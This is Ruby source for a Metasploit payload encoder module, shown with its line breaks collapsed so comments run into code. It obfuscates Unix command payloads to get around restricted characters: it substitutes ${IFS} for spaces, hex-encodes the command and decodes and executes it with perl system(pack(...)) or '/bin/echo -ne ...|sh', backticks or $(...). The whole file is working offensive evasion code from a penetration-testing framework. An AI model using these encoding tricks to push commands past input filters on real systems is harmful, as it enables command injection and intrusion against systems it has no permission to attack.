## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Encoder # Has some issues, but overall it's pretty good Rank = GoodRanking def initialize super( 'Name' => 'Generic Shell Variable Substitution Command Encoder', 'Description' => %q{ This encoder uses standard Bourne shell variable substitution tricks to avoid commonly restricted characters. }, 'Author' => 'hdm', 'Arch' => ARCH_CMD, 'Platform' => 'unix') end # # Encodes the payload # def encode_block(state, buf) # Skip encoding for empty badchars if(state.badchars.length == 0) return buf end if (state.badchars.include?("-")) # Then neither of the others will work. Get rid of spaces and hope # for the best. This obviously won't work if the command already # has other badchars in it, in which case we're basically screwed. if (state.badchars.include?(" ")) buf.gsub!(/\s/, '${IFS}') end else # Without an escape character we can't escape anything, so echo # won't work. Try perl. if (state.badchars.include?("\\")) buf = encode_block_perl(state,buf) else buf = encode_block_bash_echo(state,buf) end end return buf end # # Uses the perl command to hex encode the command string # def encode_block_perl(state, buf) hex = buf.unpack("H*") cmd = 'perl -e ' qot = ',-:.=+!@#$%^&' # Find a quoting character to use state.badchars.unpack('C*') { |c| qot.delete(c.chr) } # Throw an error if we ran out of quotes raise RuntimeError if qot.length == 0 sep = qot[0].chr # Convert spaces to IFS... if (state.badchars.include?(" ")) cmd.gsub!(/\s/, '${IFS}') end # Can we use single quotes to enclose the command string? if (state.badchars.include?("'")) if (state.badchars.match(/\(|\)/)) # No paranthesis... raise RuntimeError end cmd << "system\\(pack\\(qq#{sep}H\\*#{sep},qq#{sep}#{hex}#{sep}\\)\\)" else if (state.badchars.match(/\(|\)/)) if (state.badchars.include?(" ")) # No spaces allowed, no paranthesis, give up... raise RuntimeError end cmd << "'system pack qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}'" else cmd << "'system(pack(qq#{sep}H*#{sep},qq#{sep}#{hex}#{sep}))'" end end return cmd end # # Uses bash's echo -ne command to hex encode the command string # def encode_block_bash_echo(state, buf) hex = '' # Can we use single quotes to enclose the echo arguments? if (state.badchars.include?("'")) hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join else hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'" end # Are pipe characters restricted? if (state.badchars.include?("|")) # How about backticks? if (state.badchars.include?("`")) # Last ditch effort, dollar paren if (state.badchars.include?("$") or state.badchars.include?("(")) raise RuntimeError else buf = "$(/bin/echo -ne #{hex})" end else buf = "`/bin/echo -ne #{hex}`" end else buf = "/bin/echo -ne #{hex}|sh" end # Remove spaces from the command string if (state.badchars.include?(" ")) buf.gsub!(/\s/, '${IFS}') end return buf end end